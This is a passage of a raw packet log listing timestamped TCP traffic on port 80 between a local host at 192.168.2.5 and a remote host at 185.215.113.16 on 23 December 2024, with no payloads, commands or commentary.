Dec 23, 2024 08:23:41.445791006 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.446046114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.446055889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.446089983 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.446367979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.446378946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.446388960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.446413994 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.446434021 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.446748972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.446760893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.446773052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.446795940 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.446926117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.446959019 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.447599888 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.447613001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.447624922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.447643995 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.447915077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.447948933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.448360920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.448371887 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.448404074 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.448415995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.448427916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.448481083 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.449120998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.449132919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.449145079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.449167013 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.449843884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.449856043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.449881077 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.450083017 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.450123072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.502460003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.502516031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.502530098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.502567053 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.502819061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.502831936 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.502870083 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.502892017 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.502903938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.502932072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.503415108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.503427029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.503438950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.503453970 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.503478050 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.503606081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.504192114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.504203081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.504214048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.504235029 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.504251003 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.569909096 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.569997072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.570008993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.570084095 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.570211887 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.570272923 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.570472002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.570483923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.570496082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.570528984 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.570660114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.570698977 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.571173906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.571186066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.571197033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.571242094 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.571294069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.571356058 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.571933985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.572009087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.572020054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.572052956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.572478056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.572520018 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.572650909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.572663069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.572702885 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.572768927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.572849035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.572895050 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.573488951 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.573501110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.573513985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.573546886 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.573972940 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.574017048 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.574294090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.574305058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.574316978 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.574345112 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.574651957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.574693918 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.575081110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.575093031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.575104952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.575133085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.575243950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.575284958 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.575820923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.575978994 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.575990915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.576003075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.576025009 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.576039076 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.576595068 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.576639891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.576652050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.576683998 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.576787949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.576828957 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.577399015 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.577410936 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.577446938 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.577510118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.577522039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.577573061 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.578200102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.578212976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.578255892 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.578310013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.578327894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.578376055 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.578972101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.578984976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.579030991 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.579221964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.579301119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.579345942 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.579739094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.579813957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.579826117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.579854012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.579981089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.580023050 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.580612898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.580624104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.580635071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.580667973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.580856085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.580933094 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.581398010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.581409931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.581422091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.581449986 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.581578970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.581633091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.582159042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.582212925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.582225084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.582257986 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.585474968 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.637312889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.637365103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.637377024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.637413979 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.637547016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.637590885 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.637681961 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.637764931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.637778997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.637805939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.638225079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.638266087 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.638290882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.638303995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.638336897 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.638475895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.639084101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.639096975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.639111042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.639122009 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.639149904 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.639605999 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.639617920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.639631033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.639653921 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.639739990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.639784098 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.640383959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.640396118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.640408039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.640434980 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.640538931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.640579939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.641139030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.641182899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.641196012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.641222000 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.641360998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.641405106 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.641932964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.641978025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.642021894 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.707736969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.707762957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.707777023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.707854033 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.707905054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.707952023 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.708153963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.708167076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.708179951 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.708192110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.708211899 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.708225012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.708440065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.708540916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.708554983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.708565950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.708585024 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.708600998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.708612919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.708621979 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.708657026 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.761929035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.761951923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.761965036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.762058020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.762142897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.762200117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.762336016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.762439966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.762453079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.762481928 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.762859106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.762880087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.762893915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.762906075 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.762940884 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.763062000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.763614893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.763659000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.763668060 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.763673067 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.763701916 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.763848066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.764413118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.764425993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.764440060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.764456987 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.764476061 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.764631033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.765182018 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.765221119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.765227079 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.765235901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.765269995 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.765373945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.765933037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.765980959 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.766000986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.766014099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.766048908 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.766175032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.766752005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.766797066 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.766799927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.766813040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.766845942 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.766933918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.767523050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.767561913 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.767591000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.767604113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.767637968 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.767764091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.768316984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.768353939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.768357992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.768371105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.768403053 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.768549919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.769098043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.769141912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.769143105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.769155979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.769188881 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.769299984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.769928932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.769939899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.769952059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.769965887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.769998074 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.770071030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.770694971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.770716906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.770730972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.770735979 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.770770073 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.770891905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.771451950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.771493912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.771502972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.771516085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.771547079 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.771759033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.772265911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.772310019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.772310019 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.772324085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.772358894 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.772499084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.773134947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.773147106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.773159027 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.773174047 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.773200989 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.773375988 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.773878098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.773891926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.773905039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.773916006 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.773941040 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.774239063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.827903986 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.829472065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.829487085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.829500914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.829540014 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.829581976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.829627991 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.829782009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.829833031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.829845905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.829869032 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.830444098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.830460072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.830482006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.830490112 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.830516100 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.830523968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.831136942 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.831150055 CET	80	49731	185.215.113.16	192.168.2.5
